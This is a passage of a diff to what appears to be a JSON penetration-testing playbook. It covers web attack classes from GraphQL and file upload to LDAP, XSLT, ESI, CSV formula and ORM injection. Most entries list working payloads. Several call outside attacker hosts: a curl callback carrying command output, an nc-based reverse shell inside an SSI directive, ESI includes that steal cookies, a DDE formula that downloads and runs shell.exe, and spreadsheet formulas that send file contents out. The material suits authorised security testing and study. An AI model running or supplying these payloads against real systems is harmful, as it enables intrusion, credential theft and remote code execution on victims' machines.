+ "how_to_test": [
407
+ "Introspection query to dump the full schema.",
408
+ "Query hidden/privileged fields the UI never exposes.",
409
+ "Batching + aliases to bypass rate limits and force deep recursion."
410
+ ],
411
+ "techniques": [
412
+ "Introspection: __schema query to list types and fields.",
413
+ "Aliases: many aliased fields to bypass a per-query limit.",
414
+ "Batching: multiple operations in one request to test IDOR across objects.",
415
+ "Depth/recursion DoS; field-level authz bypass (query admin-only fields)."
416
+ ],
182
417
  "verify": "A query for a field the UI hides actually returns data; a control query for an allowed field returns normally."
183
418
  },
184
419
  {
185
420
  "id": "websocket",
186
421
  "name": "WebSocket Attacks",
187
422
  "summary": "WebSocket connections may lack Origin checks or per-message authorization, enabling hijacking or cross-user actions.",
188
- "objectives": ["Find a WebSocket endpoint with weak Origin/authorization.", "Hijack or inject messages."],
189
- "how_to_test": ["Connect and check the Origin/CSRF-token validation on the handshake.", "Test per-message authorization (auth on connect only).", "Test cross-site WebSocket hijacking from a browser."],
190
- "techniques": ["Cross-site WebSocket hijacking (no Origin check) -> read/write the victim's socket.", "Message smuggling / injection into the socket stream.", "Authorization on connect but not per-message."],
423
+ "objectives": [
424
+ "Find a WebSocket endpoint with weak Origin/authorization.",
425
+ "Hijack or inject messages."
426
+ ],
427
+ "how_to_test": [
428
+ "Connect and check the Origin/CSRF-token validation on the handshake.",
429
+ "Test per-message authorization (auth on connect only).",
430
+ "Test cross-site WebSocket hijacking from a browser."
431
+ ],
432
+ "techniques": [
433
+ "Cross-site WebSocket hijacking (no Origin check) -> read/write the victim's socket.",
434
+ "Message smuggling / injection into the socket stream.",
435
+ "Authorization on connect but not per-message."
436
+ ],
191
437
  "verify": "A cross-origin page (or a different user) can read/write the socket - proof of missing Origin/authz; a control with a valid Origin is blocked."
192
438
  },
193
439
  {
194
440
  "id": "file_upload",
195
441
  "name": "File Upload",
196
442
  "summary": "An upload endpoint accepts a file that is later executed/served, leading to RCE or stored XSS.",
197
- "objectives": ["Find an upload endpoint + where files are served.", "Upload an executable (shell) or a stored-XSS file."],
198
- "how_to_test": ["Upload a benign file and locate its URL + execution context.", "Bypass extension/type/content checks (see bypass_lookup).", "Upload a web shell (if server-side execution) or an HTML/SVG (stored XSS)."],
199
- "techniques": ["Extension bypass: .php5, .phtml, .php.jpg, .phar, double extension, null byte.", "Content-type/MIME spoofing; magic-byte spoofing (GIF89a + PHP).", "SVG XSS; polyglot files (JPEG+JS).", "Filename/path control -> overwrite or place outside the upload dir."],
443
+ "objectives": [
444
+ "Find an upload endpoint + where files are served.",
445
+ "Upload an executable (shell) or a stored-XSS file."
446
+ ],
447
+ "how_to_test": [
448
+ "Upload a benign file and locate its URL + execution context.",
449
+ "Bypass extension/type/content checks (see bypass_lookup).",
450
+ "Upload a web shell (if server-side execution) or an HTML/SVG (stored XSS)."
451
+ ],
452
+ "techniques": [
453
+ "Extension bypass: .php5, .phtml, .php.jpg, .phar, double extension, null byte.",
454
+ "Content-type/MIME spoofing; magic-byte spoofing (GIF89a + PHP).",
455
+ "SVG XSS; polyglot files (JPEG+JS).",
456
+ "Filename/path control -> overwrite or place outside the upload dir."
457
+ ],
200
458
  "verify": "The uploaded shell executes a marker command (or the SVG fires a callback) - proof of execution; a control benign file is served inertly."
201
459
  },
202
460
  {
203
461
  "id": "path_traversal_lfi",
204
462
  "name": "Path Traversal / Local File Inclusion",
205
463
  "summary": "A file path is built from user input, letting you read arbitrary files or include a file (LFI to RCE).",
206
- "objectives": ["Find a file/read/include param.", "Read a sensitive file (or include a shell -> RCE)."],
207
- "how_to_test": ["../../../../etc/passwd, encoded variants.", "For LFI, include a file you control (upload, /proc/self/environ, php://filter).", "LFI to RCE via wrappers/log poisoning/phpinfo."],
208
- "techniques": ["Encoding: ..%2f, %252e%252e, ..%252f, double-encode, null byte (legacy).", "LFI to RCE: php://filter/convert.base64-encode to read source, /proc/self/fd, log poisoning, phpinfo(), temp-file upload.", "Windows: ..\\, absolute paths."],
464
+ "objectives": [
465
+ "Find a file/read/include param.",
466
+ "Read a sensitive file (or include a shell -> RCE)."
467
+ ],
468
+ "how_to_test": [
469
+ "../../../../etc/passwd, encoded variants.",
470
+ "For LFI, include a file you control (upload, /proc/self/environ, php://filter).",
471
+ "LFI to RCE via wrappers/log poisoning/phpinfo."
472
+ ],
473
+ "techniques": [
474
+ "Encoding: ..%2f, %252e%252e, ..%252f, double-encode, null byte (legacy).",
475
+ "LFI to RCE: php://filter/convert.base64-encode to read source, /proc/self/fd, log poisoning, phpinfo(), temp-file upload.",
476
+ "Windows: ..\\, absolute paths."
477
+ ],
209
478
  "verify": "A known file's content is actually read (marker: /etc/passwd contents); a control path that is not traversed returns the intended file."
210
479
  },
211
480
  {
212
481
  "id": "command_injection",
213
482
  "name": "Command Injection",
214
483
  "summary": "User input reaches a shell command, letting you execute OS commands.",
215
- "objectives": ["Find a param passed to a shell/system call.", "Inject a command separator + a marker command."],
216
- "how_to_test": ["Inject ; | & && || backtick $() and a marker command.", "Detect blind injection via timing (sleep) or a callback (curl/wget)."],
217
- "techniques": ["Separators: ; | & && || backtick $() %0a (newline).", "Blind: sleep 5 (time-based), or curl http://your-host/$(id) (callback exfil).", "Filter bypass: variable expansion, base64, $(tr), unicode."],
484
+ "objectives": [
485
+ "Find a param passed to a shell/system call.",
486
+ "Inject a command separator + a marker command."
487
+ ],
488
+ "how_to_test": [
489
+ "Inject ; | & && || backtick $() and a marker command.",
490
+ "Detect blind injection via timing (sleep) or a callback (curl/wget)."
491
+ ],
492
+ "techniques": [
493
+ "Separators: ; | & && || backtick $() %0a (newline).",
494
+ "Blind: sleep 5 (time-based), or curl http://your-host/$(id) (callback exfil).",
495
+ "Filter bypass: variable expansion, base64, $(tr), unicode."
496
+ ],
218
497
  "verify": "A marker command actually executes (callback received / sleep observed); a control with no separator runs the intended command."
219
498
  },
220
499
  {
221
500
  "id": "xxe",
222
501
  "name": "XML External Entity (XXE)",
223
502
  "summary": "An XML parser resolves external entities, letting you read local files, SSRF, or DoS.",
224
- "objectives": ["Find an endpoint parsing XML.", "Inject an external entity to read a file or SSRF."],
225
- "how_to_test": ["Send a crafted XML with a DOCTYPE + external entity.", "Exfiltrate via the response (or OOB via a callback)."],
226
- "techniques": ["<!DOCTYPE x [<!ENTITY e SYSTEM 'file:///etc/passwd'>]> &e;.", "Blind/OOB: SYSTEM with a callback URL exfiltration.", "Parameter entities + XInclude for no-DOCTYPE cases; billion-laughs DoS.", "SAML/SOAP/svg endpoints are common XXE sinks."],
503
+ "objectives": [
504
+ "Find an endpoint parsing XML.",
505
+ "Inject an external entity to read a file or SSRF."
506
+ ],
507
+ "how_to_test": [
508
+ "Send a crafted XML with a DOCTYPE + external entity.",
509
+ "Exfiltrate via the response (or OOB via a callback)."
510
+ ],
511
+ "techniques": [
512
+ "<!DOCTYPE x [<!ENTITY e SYSTEM 'file:///etc/passwd'>]> &e;.",
513
+ "Blind/OOB: SYSTEM with a callback URL exfiltration.",
514
+ "Parameter entities + XInclude for no-DOCTYPE cases; billion-laughs DoS.",
515
+ "SAML/SOAP/svg endpoints are common XXE sinks."
516
+ ],
227
517
  "verify": "A known file's content is returned in the response (or a callback fires) - proof; a control XML without the entity returns normally."
518
+ },
519
+ {
520
+ "id": "crlf_injection",
521
+ "name": "CRLF / HTTP Header Injection",
522
+ "summary": "Injection of carriage-return and line-feed bytes (%0d%0a) into user-controlled values that are reflected into HTTP headers, logs, or other newline-delimited protocols. It breaks the HTTP framing to enable response splitting, header injection, XSS, cache poisoning, request smuggling, and even authentication bypass when session files are poisoned.",
523
+ "objectives": [
524
+ "Find parameters reflected into response headers, redirects, or log/session files",
525
+ "Inject CRLF to terminate headers and forge additional headers or a second response",
526
+ "Escalate to XSS, open redirect, request smuggling, SSRF, or session/auth bypass"
527
+ ],
528
+ "how_to_test": [
529
+ "Identify values echoed into a Location/Set-Cookie/X-Custom-Header or a request path",
530
+ "Send `%0d%0a` (and `%0a` alone) and inspect whether a new header or body line appears in the response",
531
+ "Try `/%0d%0aSet-Cookie:test=1` and check if the cookie is actually set",
532
+ "Test URL-path injection with `/%3f%0d%0aLocation:%0d%0aContent-Type:text/html...` for response-body XSS",
533
+ "For pre-auth flows, inject raw CRLF into persisted session fields (Basic auth, cookie subfields) and reload the session"
534
+ ],
535
+ "techniques": [
536
+ "`?user_input=Value%0d%0a%0d%0a<script>alert(1)</script>` for reflected-header XSS",
537
+ "`/%0d%0aLocation:%20http://attacker.com` for open redirect via header splitting",
538
+ "`GET /%20HTTP/1.1%0d%0aHost:x%0d%0aConnection:keep-alive%0d%0a%0d%0aGET /redir HTTP/1.1...` for request smuggling / response queue poisoning",
539
+ "Unicode newline bypass: `%E2%80%A8` (U+2028), `%E2%80%A9` (U+2029), `%C2%85` (NEL) when literal CR/LF is stripped",
540
+ "PHP SoapClient `user_agent` CRLF to inject a full second HTTP request (SSRF); session-file poisoning with `user=root\\ntfa_verified=1`"
541
+ ],
542
+ "verify": "Positive marker: inject `%0d%0aSet-Cookie:crlf=<random>;` and confirm the response sets that exact cookie. Negative control: resend the same request URL-encoding the CRLF (`%250d%250a`) — the cookie must NOT appear, proving the server did not decode it itself and that the split is genuinely caused by raw CRLF."
543
+ },
544
+ {
545
+ "id": "ldap_injection",
546
+ "name": "LDAP Injection",
547
+ "summary": "Manipulation of LDAP filter expressions built by concatenating unsanitized user input, to bypass authentication or extract directory data. Unlike SQL, LDAP has no multi-statement option, so impact is typically auth bypass, blind data dumping via boolean oracles, and attribute enumeration.",
548
+ "objectives": [
549
+ "Break out of the LDAP filter with parentheses and wildcards to force a true/false match",
550
+ "Bypass login checks by neutralizing the password clause",
551
+ "Blind-extract attribute values character by character"
552
+ ],
553
+ "how_to_test": [
554
+ "Find login/search fields whose value is dropped into an LDAP filter like `(&(user=X)(password=Y))`",
555
+ "Inject `*)(` sequences to break structure: `user=*)(&)` and `password=*`",
556
+ "Probe boolean responses with `*)(objectClass=*))(&objectClass=void` (true) vs `void)(objectClass=void))(&objectClass=void` (false)",
557
+ "Iterate `(&(sn=admin)(password=A*))` over an alphabet to recover a stored password",
558
+ "Brute-force attribute names (cn, mail, uid, userPassword, sn...) using `*)(attr=value*` oracles"
559
+ ],
560
+ "techniques": [
561
+ "`user=*)(|(password=*` + `password=test)` -> `(&(user=*)(|(password=*)(password=test)))` always true",
562
+ "`username=admin)(!(&(|` + `pass=any))` -> makes `(|)` FALSE so password check is satisfied",
563
+ "Null-byte termination `user=*))%00` to discard the remainder of the filter",
564
+ "Blind dump: `(&(sn=administrator)(password=M*))` -> OK means first char is M, then extend prefix",
565
+ "Attribute enumeration script testing `cn, sn, uid, userPassword, mail, ...` with `*)(attr=<char>*`"
566
+ ],
567
+ "verify": "Positive marker: send `user=*)(&)(&` and observe an authenticated/successful response distinct from a normal failed login. Negative control: send an unbalanced filter that throws an error (e.g. `user=(((&`), confirming the backend is a real LDAP parser and that the true/false differential is caused by your injection rather than an unrelated code path."
568
+ },
569
+ {
570
+ "id": "xpath_injection",
571
+ "name": "XPath Injection",
572
+ "summary": "Injection into XPath expressions that query or navigate XML documents, analogous to SQL injection but against XML backends. Because XPath lacks access-control layers like SQL grants, a successful injection can read the entire document, dump schema/structure, and bypass authentication.",
573
+ "objectives": [
574
+ "Break out of XPath predicates to bypass login and select arbitrary nodes",
575
+ "Enumerate the XML schema/structure and element names",
576
+ "Blind-extract or exfiltrate document contents, including out-of-band"
577
+ ],
578
+ "how_to_test": [
579
+ "Locate login/search where input is concatenated into XPath like `//user[name/text()='X' and password/text()='Y']`",
580
+ "Inject `' or '1'='1` (or `' or true() or '`) into both fields to force a true predicate",
581
+ "Use union-style payloads `')] | //user/password[('')=('` to return all values",
582
+ "Enumerate structure with `and count(/*[1]/*)=N` and names with `name(/*[1]/*[1])` / `string-to-codepoints(...)`",
583
+ "For blind cases, test `substring(...)='x'` boolean oracles or trigger OOB via `doc(concat('http://attacker/', ...))`"
584
+ ],
585
+ "techniques": [
586
+ "`' or true() or '` or `admin' or '1'='2` to bypass auth",
587
+ "`')] | //user/node()[('')=('` to dump all values in the document",
588
+ "`')] | //password%00` abusing null-byte to truncate the remaining query",
589
+ "Blind char extraction: `' or substring(//user[1]/child::node()[1],1,1)='a' or ''='`",
590
+ "OOB exfil: `doc(concat('http://attacker/oob/', name(/*[1]/*[1])))` or `doc-available(...)`; file read via `doc('file:///etc/passwd')`"
591
+ ],
592
+ "verify": "Positive marker: submit `' or true() or '` as username and confirm the account is selected (response differs from invalid credentials). Negative control: submit an expression that must be false, e.g. `' or false() or '` — the login should fail again, confirming the truth table is driving the result rather than an unrelated error path."
593
+ },
594
+ {
595
+ "id": "xslt_server_side_injection",
596
+ "name": "XSLT Server-Side Injection",
597
+ "summary": "Injection into XSLT stylesheets that are parsed server-side to transform XML, enabling file read, SSRF, arbitrary file write, and RCE via processor-specific extension functions. Impact depends heavily on the XSLT engine (libxslt, Saxon, Xalan, .NET) and which extension features are enabled.",
598
+ "objectives": [
599
+ "Fingerprint the XSLT version/vendor via system-property()",
600
+ "Read local files, perform SSRF, and (where possible) execute OS commands",
601
+ "Exploit processor-specific primitives (php:function, Java/.NET extensions, exsl:document)"
602
+ ],
603
+ "how_to_test": [
604
+ "Find a feature that uploads/accepts XSLT or references an attacker stylesheet",
605
+ "Fingerprint with `system-property('xsl:version')` and `xsl:vendor`",
606
+ "Try `unparsed-text('/etc/passwd','utf-8')` or `document('/etc/passwd')` for file read",
607
+ "Try `php:function('shell_exec','sleep 10')` (PHP/libxslt) or Java Runtime exec for RCE",
608
+ "Test `xsl:include href='http://attacker/...'` and `document('http://127.0.0.1:8000/')` for SSRF/port scan"
609
+ ],
610
+ "techniques": [
611
+ "File read (Saxon/libxslt): `<xsl:value-of select=\"unparsed-text('/etc/passwd','utf-8')\"/>` or XXE via `<!DOCTYPE xxe [<!ENTITY xxe SYSTEM \"file:///etc/passwd\">]>`",
612
+ "RCE PHP: `php:function('shell_exec','sleep 10')`; Xalan-J: `xmlns:rt=\"http://xml.apache.org/xalan/java/java.lang.Runtime\"` + `rt:exec($r,'bash -c curl http://attacker/')`",
613
+ "RCE Saxon: `xmlns:rt=\"java:java.lang.Runtime\"` + `rt:exec($r,'bash -c id > /tmp/x')`; .NET: `<msxsl:script language=\"C#\">` with `Process.Start`",
614
+ "File write: `<xsl:result-document href=\"x.txt\">` (XSLT 2.0) or libxslt `exsl:document` to a web-served/exec path",
615
+ "Directory listing / read via PHP: `php:function('opendir','/')` + `php:function('readdir')` or `php:function('assert','var_dump(scandir(...))')`"
616
+ ],
617
+ "verify": "Positive marker: run `unparsed-text('/etc/passwd','utf-8')` and observe file contents in output. Negative control: run `document('/etc/passwd')` on libxslt — it usually errors because the file isn't valid XML; if both behave identically you may be hitting a generic error handler rather than real file-read, so confirm a second distinct file (e.g. `/etc/hostname`) returns its actual text."
618
+ },
619
+ {
620
+ "id": "ssi_esi_injection",
621
+ "name": "SSI / ESI (Server-Side & Edge-Side Include) Injection",
622
+ "summary": "Injection of Server-Side Include directives (`<!--#... -->`) evaluated by web servers, or Edge-Side Include tags (`<esi:...>`) evaluated by CDNs/caches, into cached or served content. Enables arbitrary file/include loading, command execution, header injection, and cookie/secret exfiltration.",
623
+ "objectives": [
624
+ "Detect whether SSI/ESI directives are evaluated on the server or edge",
625
+ "Achieve command execution (SSI) or include-based XSS/cookie theft (ESI)",
626
+ "Exfiltrate secrets by injecting includes that reach attacker infrastructure"
627
+ ],
628
+ "how_to_test": [
629
+ "Look for .shtml/.stm pages or any reflection into HTML; submit `<!--#echo var=\"DATE_LOCAL\" -->` and check for a rendered date",
630
+ "Test `<!--#exec cmd=\"id\" -->` for command execution",
631
+ "Detect ESI via `Surrogate-Control: content=\"ESI/1.0\"` header, or blind-detect with `<esi:include src=http://attacker/>`",
632
+ "Inject `<esi:include src=http://attacker/$(HTTP_COOKIE)>` to steal cookies",
633
+ "Try `<esi:include src=\"secret.txt\">` and `<esi:debug/>` for local file / debug info"
634
+ ],
635
+ "techniques": [
636
+ "SSI RCE: `<!--#exec cmd=\"mkfifo /tmp/foo;nc IP PORT 0</tmp/foo|/bin/bash 1>/tmp/foo\" -->`; file read via `<!--#include file=\"...\" -->`",
637
+ "ESI XSS: `<esi:include src=http://attacker/xss.html>`; WAF bypass `<scr<!--esi-->ipt>alert(1)</sc<!--esi-->ript>`",
638
+ "Cookie steal bypassing HttpOnly: `<esi:include src=http://attacker/$(HTTP_COOKIE)>` or reflect `<!--esi $(HTTP_COOKIE) -->`",
639
+ "Header manipulation: `<!--esi $add_header('Content-Type','text/html') -->` or CRLF in request_header (CVE-2019-2438)",
640
+ "ESI+XSLT=XXE: `<esi:include src=\"http://host/poc.xml\" dca=\"xslt\" stylesheet=\"http://host/poc.xsl\"/>`"
641
+ ],
642
+ "verify": "Positive marker: submit `<!--#echo var=\"DOCUMENT_NAME\" -->` and see the actual document name echoed (SSI), or `<esi:include src=http://attacker/canary>` and observe a request hit your server. Negative control: send the same directive with a malformed/never-registered directive (e.g. `<!--#echo var=\"RANDOM_UNIQUE_XYZ\" -->`) — if it renders nothing/errors while the valid one renders, the evaluation is genuine rather than a reflection artifact."
643
+ },
644
+ {
645
+ "id": "xssi_cross_site_script_inclusion",
646
+ "name": "XSSI (Cross-Site Script Inclusion)",
647
+ "summary": "Leveraging the fact that `<script>` tags can load cross-origin JavaScript despite the Same-Origin Policy, to steal authenticated/private data embedded in executable script or JSONP responses. The victim's cookies ride along with the request, and the attacker reads the data through callbacks or global variable side effects.",
648
+ "objectives": [
649
+ "Locate script/JSONP endpoints that embed private, cookie-authenticated data",
650
+ "Leak data via global variables, JSONP callback hijacking, or prototype tampering",
651
+ "Detect dynamic per-user content by comparing with/without-cookie responses"
652
+ ],
653
+ "how_to_test": [
654
+ "Find endpoints serving JS/JSONP that differ with vs without cookies (use DetectDynamicJS or manual diff)",
655
+ "Include the script in a page and read globals: `<script src=\"//target/script.js\"></script><script>alert(JSON.stringify(secret[0]))</script>`",
656
+ "Hijack JSONP: define `angular.callbacks._7 = function(d){...}` then request `?jsonp=angular.callbacks._7`",
657
+ "For non-global variables, override `Array.prototype.slice` or similar to intercept internal reads",
658
+ "Test non-script XSSI: include a CSV/JSON file as a script with `charset=\"UTF-7\"` where applicable"
659
+ ],
660
+ "techniques": [
661
+ "Regular XSSI: `<script src=\"https://target/script.js\"></script>` then read leaked global `confidential_keys[0]`",
662
+ "JSONP hijack: define `leak = function(d){ alert(JSON.stringify(d)) }` then `<script src=\"//site/p?jsonp=leak\">`",
663
+ "Prototype tampering: `Array.prototype.slice = function(){ sendToAttacker(this) }` to catch non-global arrays",
664
+ "Angular callback override: `angular.callbacks._7 = function(leaked){...}` matching the requested callback name",
665
+ "UTF-7 JSON XSSI: include JSON with UTF-7-encoded payload via `<script charset=\"UTF-7\" src=\"//site/json-utf7.json\">`"
666
+ ],
667
+ "verify": "Positive marker: on a victim session, include the script and observe the attacker server receive a canary value that only exists in the authenticated response (e.g. a leaked email/token). Negative control: repeat from an unauthenticated/incognito session — the same value must NOT be received, proving the leaked data is tied to the victim's credentials and not a static resource."
668
+ },
669
+ {
670
+ "id": "email_injection",
671
+ "name": "Email (Header) Injection",
672
+ "summary": "Injection of CRLF or crafted addresses into email fields to add Cc/Bcc/To/Subject headers, rewrite the message body, or abuse MTA command-line parameters for file read and RCE. Also covers splitting/encoding tricks in the local-part that bypass domain allow-lists and redirect verification mail.",
673
+ "objectives": [
674
+ "Inject extra headers (Cc/Bcc/To/Subject) and rewrite the body via %0a",
675
+ "Abuse the PHP mail() 5th parameter to pass sendmail flags for RCE/file leak",
676
+ "Bypass email allow-lists using encoding, quotes, comments, and IP literals"
677
+ ],
678
+ "how_to_test": [
679
+ "Test a field reflected into email by appending `%0ACc:attacker@domain.com` and `%0ABcc:...`",
680
+ "Inject `%0A%0A<body>` to rewrite the message body",
681
+ "If PHP `mail()` 5th param is controllable, try `-X/tmp/out` (log SMTP traffic) or MTA-specific flags",
682
+ "Fuzz the local-part with `+tag`, `(comment)`, quoted strings, and encodings to see what the server normalizes",
683
+ "Attempt `RCPT TO:` splitting via encoded `@` (`=40`) and `>` (`=3e`) to redirect verification emails"
684
+ ],
685
+ "techniques": [
686
+ "`From:sender@domain.com%0ACc:r@d.co,%0ABcc:r1@d.com` adds recipients; `%0ASubject:Fake` alters subject",
687
+ "PHP mail() RCE: abuse `$additional_parameters` with `-X/tmp/x` to dump raw SMTP, or `-O` / MTA-specific flags to read files / run commands",
688
+ "Encoded splitting: `=?x?q?collab=40psres.net=3e=00?=foo@example.com` -> sends to `collab@psres.net` (Github/Gitlab/Zendesk variants)",
689
+ "Ignored-part tricks: `john.doe+tag@`, `john.doe(comment)@`, `john.doe@[127.0.0.1]` to defeat filters",
690
+ "Punycode: `x@xn--svg/-9x6` -> `x@<svg/` for XSS/tag injection; Reply-To spoofing to capture auto-replies"
691
+ ],
692
+ "verify": "Positive marker: inject `%0ACc:<unique-address>@<attacker-controlled-inbox>` and confirm the email actually arrives at the injected address (not just echoed). Negative control: submit the same value with CRLF encoded (`%250A`) — no additional recipient should be created, confirming the header split is caused by your raw newline and not by the application's own handling."
693
+ },
694
+ {
695
+ "id": "formula_csv_injection",
696
+ "name": "Formula / CSV / LaTeX Injection",
697
+ "summary": "Injection of spreadsheet formulas, DDE commands, or LaTeX constructs into exported documents (CSV/XLSX, PDF generation) so that opening the file executes commands or exfiltrates data from the victim's machine. Impact ranges from data exfiltration on open/click to local file read and RCE via DDE, LaTeX shell-escape, or LibreOffice/Google Sheets functions.",
698
+ "objectives": [
699
+ "Plant executable formulas/DDE in fields that are exported to CSV/XLSX",
700
+ "Achieve RCE on the opener via DDE/command payloads or LaTeX \\write18",
701
+ "Exfiltrate local files via LibreOffice/Google Sheets functions or LaTeX file reads"
702
+ ],
703
+ "how_to_test": [
704
+ "Find fields exported to CSV/Excel; inject `=cmd|' /C calc'!A0` or `=HYPERLINK(\"http://attacker\",\"click\")`",
705
+ "Confirm the value starts with `=`, `+`, `-`, `@` and is not prefixed with a quote/space by the exporter",
706
+ "Test DDE payloads (requires DDE Server Launch enabled + user accepts warnings)",
707
+ "If LaTeX/PDF generation exists, try `\\input{/etc/passwd}` and `\\immediate\\write18{...}`",
708
+ "Test LibreOffice/Google Sheets exfil: `=WEBSERVICE(...)` and `='file:///etc/passwd'#$passwd.A1`"
709
+ ],
710
+ "techniques": [
711
+ "DDE RCE: `=cmd|' /C calc'!xxx` or `=cmd|'/C powershell IEX(wget attacker/shell.exe)'!A0`",
712
+ "Hyperlink exfil: `=HYPERLINK(\"http://attacker/log?x=\"&A2,\"click\")`",
713
+ "LibreOffice LFI: `='file:///etc/passwd'#$passwd.A1` and exfil via `=WEBSERVICE(CONCATENATE(\"http://attacker/\",('file:///etc/passwd'#$passwd.A1)))`",
714
+ "Google Sheets OOB: `=IMPORTXML(CONCAT(\"http://attacker/?v=\",CONCATENATE(A2:E2)),\"//a\")`, `=IMPORTFEED(...)`, `=IMAGE(...)`",
715
+ "LaTeX: `\\input{/etc/passwd}`, `\\include{password}`, `\\lstinputlisting{...}` for read; `\\immediate\\write18{env > out}` + `\\input{out}` for RCE"
716
+ ],
717
+ "verify": "Positive marker: export a record containing `=HYPERLINK(\"http://attacker/canary\",\"x\")` (or a WEBSERVICE formula) and confirm the attacker server receives a request when the file is opened. Negative control: export the same value with a leading `'` or space (e.g. `'=HYPERLINK(...)`) — no request should fire, proving the exporter does not neutralize formulas and that execution is genuinely formula-driven."
718
+ },
719
+ {
720
+ "id": "orm_injection",
721
+ "name": "ORM / Query-Builder Injection",
722
+ "summary": "Abuse of Object-Relational Mapping layers (Django, Prisma, Beego, Ransack, Entity Framework/OData, Strapi) when attacker-controlled keys, operators, or filters are passed unsafely into ORM queries. Enables secret leakage, relational pivoting past access controls, and boolean/timing oracles without classic SQL injection.",
723
+ "objectives": [
724
+ "Leak fields (passwords, tokens, salts) through relation traversal and operator injection",
725
+ "Bypass field/record filters by looping back through many-to-many relations",
726
+ "Build boolean or timing oracles to brute-force secrets character by character"
727
+ ],
728
+ "how_to_test": [
729
+ "Find endpoints passing raw request JSON/query to ORM filters, e.g. `Article.objects.filter(**request.data)` or `prisma.article.findMany({where: req.query})`",
730
+ "Probe Django-style lookups: `{\"username\":\"admin\",\"password__startswith\":\"a\"}` or `created_by__user__password__contains=...`",
731
+ "For Prisma, test type-confused operators: `{\"resetToken\":{\"not\":\"E\"}}` or `resetToken[contains]=argon2`",
732
+ "Enumerate relations and many-to-many loopbacks to reach unrelated users' secrets",
733
+ "Detect oracles via response length, pagination `total`, row presence, or ReDoS/timing (`__regex`)"
734
+ ],
735
+ "techniques": [
736
+ "Django: `{\"created_by__user__password__contains\":\"pass\"}` and group/permission pivots `created_by__user__groups__user__password`",
737
+ "Prisma: `{select:{createdBy:{select:{password:true}}}}` or `{categories:{some:{articles:{some:{published:false,...}}}}}` loopback bypass",
738
+ "Prisma operator injection: `{\"resetToken\":{\"not\":\"E\"},\"password\":\"newpass\"}` to reset without knowing the token",
739
+ "Beego/Harbor overwrite: `email__password__startswith=foo` passes the `Filterable(email)` check but executes `password__startswith`",
740
+ "Strapi where-smuggling: `GET /api/articles?where[updatedBy][resetPasswordToken][$startsWith]=d` with `meta.pagination.total` as the boolean oracle",
741
+ "Ransack/OData: `q[user_reset_password_token_start]=0` and `$filter=CreatedBy/TfaSecret ge 'M'` binary-search oracles"
742
+ ],
743
+ "verify": "Positive marker: send a predicate that should flip row count, e.g. `where[id][$lt]=-1` (or a `password__startswith` on a known prefix), and observe the result set / `total` change from baseline. Negative control: repeat with an always-false predicate on a field that should never match and confirm `total==0` while a deliberately invalid operator/field returns a parse error — distinguishing a live query from a canned response."
744
+ },
745
+ {
746
+ "id": "rsql_injection",
747
+ "name": "RSQL / FIQL Filter Injection",
748
+ "summary": "Injection into RSQL/FIQL filter expressions used by REST/JSON:API backends (Elide, JPA Specification) to build read filters. Leads to unauthorized data access, user enumeration, authorization bypass, privilege escalation, and IDOR/impersonation via nested relation traversal and boolean oracles.",
749
+ "objectives": [
750
+ "Enumerate users and sensitive fields through filter oracles",
751
+ "Bypass authorization and escalate to admin by substituting identifiers",
752
+ "Traverse relations and abuse framework-specific translators for deeper leaks"
753
+ ],
754
+ "how_to_test": [
755
+ "Send harmless probes `?filter=id==test` or `?q==test`; look for parser errors ('Unknown operator/property') as a fingerprint",
756
+ "Enumerate via `filter[userAccounts]=email=='victim@x.com'` and observe whether user data returns",
757
+ "Test boolean oracles: `filter[users]=id=in=(*a*)` then compare response sizes",
758
+ "Try relation traversal and custom operators: `=like=`, `=ilike=`, `=ini=`, `=rng=`, `=isnull=`",
759
+ "Enumerate admin IDs then reuse them: `filter[companyUsers]=user.id=='<admin-id>'` on privilege-checked endpoints"
760
+ ],
761
+ "techniques": [
762
+ "Info leak: `GET /api/registrations?filter[userAccounts]=email=='victim@x.com'` returns full user DTO on match",
763
+ "Authz evasion: `GET /api/users?filter[users]=id=in=(*a*)` returns users despite a 403 on `/api/users`",
764
+ "Privilege escalation: enumerate `user.id` of an admin, then `filter[companyUsers]=user.id=='<id>'` to assume their permissions",
765
+ "Relationship/global filters (Elide): `filter=authors.name=='Null Ned';title=='Life with Null Ned'` and `data.user.id==1` for jsonb traversal",
766
+ "Wildcard exfil: `filter[users]=email==*%@example.com;status==ACTIVE`, flip with `,` (OR) and double-encode `%2528admin%2529` to dodge WAFs"
767
+ ],
768
+ "verify": "Positive marker: request `filter[users]=id=='<your-own-id>'` and confirm your own record is returned; then swap to another known ID and observe a different record (IDOR) or a `total` change. Negative control: send `filter[users]=id==<impossible-value>` and confirm zero results, and a malformed operator `=foo=` that yields a distinct parse error — proving the filter is actually evaluated against the store."
769
+ },
770
+ {
771
+ "id": "json_xml_yaml_hacking",
772
+ "name": "JSON / XML / YAML Parser Differential & Deserialization",
773
+ "summary": "Exploitation of permissive parsers and cross-service parser disagreement (duplicate keys, case-insensitive matching, Unicode fold collisions, polyglot payloads) to bypass authorization, plus unsafe deserialization leading to RCE. The danger lies in trust decisions made by parsers with different interpretations of the same bytes.",
774
+ "objectives": [
775
+ "Exploit duplicate-key and case-collision differences between parsers to bypass authz",
776
+ "Abuse mass-assignment and unsafe YAML/XML deserialization for RCE",
777
+ "Fingerprint parser behavior (Go v1 vs v2, SnakeYAML, libyaml) at each trust boundary"
778
+ ],
779
+ "how_to_test": [
780
+ "Send duplicate JSON keys `{\"action\":\"UserAction\",\"action\":\"AdminAction\"}` and observe which wins downstream",
781
+ "Test case-variants and Unicode fold: `{\"AcTiOn\":\"AdminAction\"}`, `{\"Uſername\":\"admin\"}`, `{\"Key\":\"value\"}`",
782
+ "Craft polyglots mixing JSON/XML/YAML so different parsers extract different actions",
783
+ "Try unsafe YAML deserialization gadgets: `!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://evil/\"]]]]`",
784
+ "Probe for mass-assignment: set fields the app never intended (`\"IsAdmin\":true`) or misused `json:\"-\"` tags"
785
+ ],
786
+ "techniques": [
787
+ "Duplicate-key last-wins (Go v1): `{\"action\":\"UserAction\",\"action\":\"AdminAction\"}` -> `AdminAction` while a Python proxy authorizes `UserAction`",
788
+ "Unicode fold matching: long-s `Uſername` matches `Username`, Kelvin sign `Key` matches `Key`",
789
+ "Polyglot confusion (CVE-2020-16250): JSON with embedded XML `\"ignored\":\"<?xml ...><Action>Action_3</Action>\"` parsed differently by JSON/XML/YAML",
790
+ "SnakeYAML RCE (CVE-2022-1471): global-tag `!!javax.script.ScriptEngineManager` gadget with remote URL classloader",
791
